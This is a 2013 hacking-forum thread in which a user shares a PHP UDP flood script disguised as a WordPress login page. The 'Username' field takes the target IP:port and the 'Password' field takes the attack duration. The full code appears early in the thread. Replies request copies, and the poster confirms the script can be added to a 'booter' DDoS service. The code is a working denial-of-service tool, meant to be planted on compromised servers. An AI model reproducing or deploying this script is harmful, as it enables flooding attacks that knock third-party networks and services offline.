Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[UDP] WordPress DoS Shell [UDP]

What it looks like :
Spoiler (Click to View)

NOTE:
  • Does not say how many packets are sent (but you can enable this feature by removing a set of // )

  • IP:PORT goes in the Username

  • Time goes in Password

  • it's a GET shell



How to get the shell:
PHP Code

<?php 
<html>
<
head>
<
meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<
title>Log In</title>
<
link rel='stylesheet' id='wp-admin-css'  href='http://www.mspetr.org/wp-admin/css/wp-admin.min.css?ver=3.5' type='text/css' media='all' />
<
link rel='stylesheet' id='buttons-css'  href='http://www.mspetr.org/wp-includes/css/buttons.min.css?ver=3.5' type='text/css' media='all' />
<
link rel='stylesheet' id='colors-fresh-css'  href='http://www.mspetr.org/wp-admin/css/colors-fresh.min.css?ver=3.5' type='text/css' media='all' />
<
meta name='robots' content='noindex,nofollow' />
</
head>
<
body class="login login-action-login wp-core-ui">
<
div id="login">
<
h1><a href="http://wordpress.org/" title="Powered by WordPress">WordPress</a></h1>
<
center>
<?
php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    
$packets = 0;
    
ignore_user_abort(TRUE);
    
set_time_limit(0);

    
$exec_time = $_GET['time'];

    
$time = time();
    
//print "Started: ".time('d-m-y h:i:s')."<br>";
    
$max_time = $time+$exec_time;

    
$host = $_GET['host'];

    for(
$i=0;$i<65000;$i++){
    
$out .= 'X';
    }
    while(
1){
    
$packets++;
    if(
time() > $max_time){
    break;
    }
    
$rand = rand(1,65000);
    
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
    if(
$fp){
    
fwrite($fp, $out);
    
fclose($fp);
    }
    }
   
// echo "<br><b>UDP</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
    
echo '<br><br>
  <form action="'
.$surl.'" method=GET>
  <input type="hidden" name="act" value="phptools">
  <label for="user_login">Username<br />
<input type=text name=host><br></label>
  <label for="user_pass">Password<br />
<input type=text name=time><br></label>
  <input type=submit class="button button-primary button-large" value=Login></form>'
;
}else{ echo 
'<br>Login<br>
    <form action=? method=GET>
    <input type="hidden" name="act" value="phptools">
<label for="user_login">Username<br />
    <input type=text name=host value=><br>
    <label for="user_pass">Password<br />
<input type=text name=time value=><br></label>
    <input type=submit class="button button-primary button-large" value=Login></form>'
;
}
?>
</center>
</body>
</html> 

Dont forget to say thanks
First posting --

Can i get this?
Thanks.
(Jan 12, 2013 01:46 PM)hackteam12 Wrote:  First posting --

Can i get this?
Thanks.

Sent.

Have fun and happy hacking!
🤝
Will it work like any shell? for example if i were to host it and add it to a booter.
Anyhow i want this thanks!
(Jan 12, 2013 01:53 PM)Rеputation Wrote:  Will it work like any shell? for example if i were to host it and add it to a booter.
Anyhow i want this thanks!

Yes you can add it to a booter.

It works like a get shell.
I have no need for this so no need to send it to me.
But thanks so much for sharing OP! This is really nice :)
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
(Jan 12, 2013 02:07 PM)Goodies Wrote:  I have no need for this so no need to send it to me.
But thanks so much for sharing OP! This is really nice :)

No problem, just whipped it up cause I was trying to brute a wp login and was like, hmmmm what if i made a DoS shell that looked like this.
whoah, this is definedly good stuff.
i'd like to look its sources, so would you send it to me?
[Image: vBKaZOL.gif]
(Jan 12, 2013 03:28 PM)Long Morrison Wrote:  whoah, this is definedly good stuff.
i'd like to look its sources, so would you send it to me?

Sent to you..

Anybody else want it?

🤝
I'd love to have this ^^, thanks in advance.
(Jan 12, 2013 05:35 PM)Karlstad™ Wrote:  I'd love to have this ^^, thanks in advance.

Sure sending it now.

Sorry it took so long, somebody asked me to do a custom login.
(Jan 12, 2013 02:33 PM)Ϲasp3r Wrote:  No problem, just whipped it up cause I was trying to brute a wp login and was like, hmmmm what if i made a DoS shell that looked like this.

Haha that's actually pretty funny! It looks nice :) thanks for sharing. Again I don't need it but really hq share!
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
(Jan 12, 2013 06:42 PM)Goodies Wrote:  Haha that's actually pretty funny! It looks nice :) thanks for sharing. Again I don't need it but really hq share!

So would you like it or not?
I'm so confused. 😧

Anyways thanks for the feedback
Thanks man, it works great, code is simple and clean.
Like i said, this one is definedly good stuff.
[Image: vBKaZOL.gif]
This is pretty cool, can I get this too please?

Hey there,
If I have helped you or if you just enjoy my posts, please consider donating bitcoin to me 1DpL2kcxuidEsjt2MMN2AYufcVoXbi3v2X

[Image: FtwuQgr.gif]


Possibly Related Threads...
Thread / Author Replies Views Last Post
by mObiIeFeb 16, 2018 07:10 AM 34 7,566 Feb 16, 2018 07:10 AM
Last Post: kamera
by poision-v1p3RApr 18, 2017 12:35 AM 37 2,390 Apr 18, 2017 12:35 AM
Last Post: Malicious Intent
by mObiIeApr 26, 2015 10:45 AM 7 739 Apr 26, 2015 10:45 AM
Last Post: VultureNigga